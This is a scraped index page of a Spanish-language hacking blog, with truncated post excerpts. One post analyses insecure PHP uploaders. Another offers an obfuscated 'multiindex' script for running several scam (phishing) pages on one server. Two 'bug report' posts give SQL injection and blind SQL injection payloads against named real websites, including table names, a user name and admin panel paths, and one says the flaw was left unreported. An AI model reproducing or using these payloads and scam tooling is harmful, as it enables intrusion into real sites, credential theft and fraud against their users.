Publicado el 23/02/2010 12:02:00 en Programación Web. Total de votos: 4 Votar
Vamos a analizar dos ejemplos de uplaoders en php que andan por la net.
Uno simple, y uno aparentemente seguro ( Con restricciones de formato de archivos )
Primero veamos el primero:
<?php
$uploaddir = 'files/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
echo "<p>";
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "File is valid, and was successfully uploaded.\n";
} else {
echo "Upload failed";
}
echo "</p>";
echo '<pre>';
echo 'Here is some more debugging info:'; //Muestra un debug del archivo en cuestion
print_r($_FILES);
print "</pre>";
?>
Con su respectivo form html:
<html>
<head></head>
<body>
<form enctype='multipart/form-data' action='uploader.php' method='POST'>
<input type='hidden' name='MAX_FILE_SIZE' value='512000' /><br>
Send this file: <input name='userfile' type='file' /><br>
<input type='submit' value='Send File' />
</form>
</body>
</html>
Vamos a ponerlo a prueba:
Intentamos subir un archivo php, potencialmente inseguro para un servidor web.
Un uploader seguro no deberia permitir estos archivos. Veamos que sucede.
A diferencia de lo que pensabamos, el uploader permitio la subida de este archivo.
ESTE UPLOADER REPRESENTA UN GRAN PROBLEMA DE SEGURIDAD.
Ahora analizemos el otro uploader, el aparentemente seguro.
<?php
//?heck that we have a file
if((!empty($_FILES["uploaded_file"])) && ($_FILES['uploaded_file']['error'] == 0)) {
//Check if the file is JPEG image and it's size is less than 350Kb
$filename = basename($_FILES['uploaded_file']['name']);
$ext = substr($filename, strrpos($filename, '.') + 1);
if (($ext == "jpg") && ($_FILES["uploaded_file"]["type"] == "image/jpeg") &&
($_FILES["uploaded_file"]["size"] < 350000)) {
//Determine the path to which we want to save this file
$newname = dirname(__FILE__).'/upload/'.$filename;
//Check if the file with the same name is already exists on the server
if (!file_exists($newname)) {
//Attempt to move the uploaded file to it's new place
if ((move_uploaded_file($_FILES['uploaded_file']['tmp_name'],$newname))) {
echo "It's done! The file has been saved as: ".$newname;
} else {
echo "Error: A problem occurred during file upload!";
}
} else {
echo &q...
Continúa aquí...Comentarios: 6 | Leer comentarios
Publicado el 16/02/2010 12:02:00 en Programación Web.
Un buen trabajo. Sin rencores, supongo.
Download Link:
http://www.gigasize.com/get.php?d=sdq5pwm6srb
Comentarios: 6 | Leer comentarios
Publicado el 19/01/2010 12:01:00 en Programación General. Total de votos: 1 Votar
Bueno, este code sirve para cuando tienen que montar un scam en un dedicado y no quieren sacar el index original. Tan solo tienen que modificar el code y adosarlo al index original.
El Multiindex sirve para tener mas de un scam por dedicado, se encarga de redirigir al scam correcto segun sea solicitado.
<html>
<head></head>
<body>
<!--- Multindex By Rash - DiosDeLaRed 2010 --->
<script type="text/javascript">
var keyStr = "ABCDEFGHIJKLMNOP" +
"QRSTUVWXYZabcdef" +
"ghijklmnopqrstuv" +
"wxyz0123456789+/" +
"=";
function encode64(input) {
input = escape(input);
var output = "";
var chr1, chr2, chr3 = "";
var enc1, enc2, enc3, enc4 = "";
var i = 0;
do {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
keyStr.charAt(enc1) +
keyStr.charAt(enc2) +
keyStr.charAt(enc3) +
keyStr.charAt(enc4);
chr1 = chr2 = chr3 = "";
enc1 = enc2 = enc3 = enc4 = "";
} while (i < input.length);
return output;
}
function decode64(input) {
var output = "";
var chr1, chr2, chr3 = "";
var enc1, enc2, enc3, enc4 = "";
var i = 0;
// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
var base64test = /[^A-Za-z0-9\+\/\=]/g;
if (base64test.exec(input)) {
alert("There were invalid base64 characters in the input text.\n" +
"Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='\n" +
"Expect errors in decoding.");
}
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
do {
enc1 = keyStr.indexOf(input.charAt(i++));
enc2 = keyStr.indexOf(input.charAt(i++));
enc3 = keyStr.indexOf(input.charAt(i++));
enc4 = keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
chr1 = chr2 = chr3 =...
Continúa aquí...Comentarios: 1 | Leer comentarios
Publicado el 17/12/2009 12:12:00 en Bug Report. Total de votos: 1 Votar
[ADV] Bocetear.com.ar SQLi
Dork: "Bocetar.com.ar"
Script: contenido_noticia.php
Tabla: usuarios
Columna1: id
Columna2: usuario
Columna3: pass
PoC:
http://web.com/contenido_noticia.php?id=9+AND+1=0+UNION+SELECT+0,1--
http://web.com/admin OR http://web.com/administrador OR variables.
Comentarios: 5 | Leer comentarios
Publicado el 02/12/2009 12:12:00 en Bug Report.
Bien man sos un kaker de verdad, me pregunto, ¿podrias haber descubierto el bug solo?
Blind SQL - speedy.com.ar
Aca un poco de lo que saque:
Web: http://www.speedy.com.ar/
Script: soporte.php
Variable: ?idcontenido=140&root=132
Tabla: usuarios
Columnas: username, password, email
Username: backoffice
Password: <?>
mysql.user user: acido & enda
mysql.user pass: <?>
mysql.user host: <?>
db: TA_speedy_cms
Panel: /backoffice/
inyecciones:
132 AND (SELECT Count(*) FROM usuarios)
existe
132 AND (SELECT Count(*) FROM admin)
no existe
AND (SELECT Count(*) FROM usuarios) = 8
AND(SELECT Count(username) FROM usuarios)
AND(SELECT Count(password) FROM usuarios)
AND(SELECT Count(email) FROM usuarios)
AND(SELECT Count(id) FROM usuarios)
AND (SELECT length(username) FROM usuarios where id=1) = 10
AND (SELECT length(password) FROM usuarios where id=1) = 10
... etc lo dejo para que vean como fui sacando nomas ^^
El bug no lo reporte todavia por que no encontre donde, si alguien quiere ayudar joya :P
Si te gusto dejame un voto ^^
Dado que este post esta un poco "quemado por algunos comentarios, lo pongo en la seccion correcta y lo desindexo, el proximo post es el tuto de blindSQLi
Comentarios: 35 | Leer comentarios